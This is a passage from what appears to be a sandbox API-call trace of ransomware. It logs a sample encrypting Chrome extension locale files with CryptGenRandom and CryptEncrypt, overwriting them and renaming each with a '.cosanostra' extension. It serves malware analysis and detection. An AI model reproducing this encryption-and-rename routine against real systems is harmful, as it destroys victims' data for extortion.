Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json") returned 164 [0105.009] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.069] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.069] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0e4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff0e4*=0x2800, lpOverlapped=0x0) returned 1 [0105.069] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.069] WriteFile (in: hFile=0x160, lpBuffer=0x26ff124*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0e4, lpOverlapped=0x0 | out: lpBuffer=0x26ff124*, lpNumberOfBytesWritten=0x26ff0e4*=0x4, lpOverlapped=0x0) returned 1 [0105.069] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff0e4*=0x30, lpOverlapped=0x0) returned 1 [0105.069] CloseHandle (hObject=0x160) returned 1 [0105.069] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json.cosanostra") returned 175 [0105.069] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json.cosanostra")) returned 1 [0105.168] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff120 | out: pbBuffer=0x26ff120) returned 1 [0105.168] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff118*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff118*=0x30) returned 1 [0105.168] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.169] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json") returned 164 [0105.169] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.178] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.178] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0dc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff0dc*=0x2800, lpOverlapped=0x0) returned 1 [0105.178] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.178] WriteFile (in: hFile=0x138, lpBuffer=0x26ff11c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0dc, lpOverlapped=0x0 | out: lpBuffer=0x26ff11c*, lpNumberOfBytesWritten=0x26ff0dc*=0x4, lpOverlapped=0x0) returned 1 [0105.179] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0dc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff0dc*=0x30, lpOverlapped=0x0) returned 1 [0105.179] CloseHandle (hObject=0x138) returned 1 [0105.179] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json.cosanostra") returned 175 [0105.179] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json.cosanostra")) returned 1 [0105.181] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff118 | out: pbBuffer=0x26ff118) returned 1 [0105.181] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff110*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff110*=0x30) returned 1 [0105.181] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.182] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json") returned 167 [0105.182] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.204] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.204] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0d4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff0d4*=0x2800, lpOverlapped=0x0) returned 1 [0105.205] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.205] WriteFile (in: hFile=0x138, lpBuffer=0x26ff114*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff114*, lpNumberOfBytesWritten=0x26ff0d4*=0x4, lpOverlapped=0x0) returned 1 [0105.219] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0d4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff0d4*=0x30, lpOverlapped=0x0) returned 1 [0105.220] CloseHandle (hObject=0x138) returned 1 [0105.220] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json.cosanostra") returned 178 [0105.220] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json.cosanostra")) returned 1 [0105.222] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff110 | out: pbBuffer=0x26ff110) returned 1 [0105.223] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff108*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff108*=0x30) returned 1 [0105.223] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.223] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json") returned 164 [0105.223] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.240] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.240] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0cc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff0cc*=0x2800, lpOverlapped=0x0) returned 1 [0105.240] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.240] WriteFile (in: hFile=0x138, lpBuffer=0x26ff10c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0cc, lpOverlapped=0x0 | out: lpBuffer=0x26ff10c*, lpNumberOfBytesWritten=0x26ff0cc*=0x4, lpOverlapped=0x0) returned 1 [0105.240] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0cc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff0cc*=0x30, lpOverlapped=0x0) returned 1 [0105.240] CloseHandle (hObject=0x138) returned 1 [0105.241] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json.cosanostra") returned 175 [0105.241] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json.cosanostra")) returned 1 [0105.244] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff108 | out: pbBuffer=0x26ff108) returned 1 [0105.244] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff100*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff100*=0x30) returned 1 [0105.245] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.245] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json") returned 164 [0105.246] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.284] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.284] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0c4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff0c4*=0x2800, lpOverlapped=0x0) returned 1 [0105.319] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.319] WriteFile (in: hFile=0x138, lpBuffer=0x26ff104*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0c4, lpOverlapped=0x0 | out: lpBuffer=0x26ff104*, lpNumberOfBytesWritten=0x26ff0c4*=0x4, lpOverlapped=0x0) returned 1 [0105.319] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0c4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff0c4*=0x30, lpOverlapped=0x0) returned 1 [0105.491] CloseHandle (hObject=0x138) returned 1 [0105.491] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json.cosanostra") returned 175 [0105.491] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json.cosanostra")) returned 1 [0105.554] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff100 | out: pbBuffer=0x26ff100) returned 1 [0105.554] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0f8*=0x30) returned 1 [0105.554] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.555] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json") returned 164 [0105.555] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.605] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.605] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0bc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff0bc*=0x2800, lpOverlapped=0x0) returned 1 [0105.605] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.605] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff0fc*, lpNumberOfBytesWritten=0x26ff0bc*=0x4, lpOverlapped=0x0) returned 1 [0105.620] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0bc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff0bc*=0x30, lpOverlapped=0x0) returned 1 [0105.620] CloseHandle (hObject=0x138) returned 1 [0105.620] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json.cosanostra") returned 175 [0105.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json.cosanostra")) returned 1 [0105.634] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0f8 | out: pbBuffer=0x26ff0f8) returned 1 [0105.634] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0f0*=0x30) returned 1 [0105.634] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.635] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json") returned 164 [0105.635] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.671] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.671] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0b4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff0b4*=0x2800, lpOverlapped=0x0) returned 1 [0105.672] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.672] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0b4, lpOverlapped=0x0 | out: lpBuffer=0x26ff0f4*, lpNumberOfBytesWritten=0x26ff0b4*=0x4, lpOverlapped=0x0) returned 1 [0105.685] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0b4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff0b4*=0x30, lpOverlapped=0x0) returned 1 [0105.685] CloseHandle (hObject=0x138) returned 1 [0105.685] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json.cosanostra") returned 175 [0105.685] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json.cosanostra")) returned 1 [0105.688] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0f0 | out: pbBuffer=0x26ff0f0) returned 1 [0105.688] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0e8*=0x30) returned 1 [0105.701] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.702] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 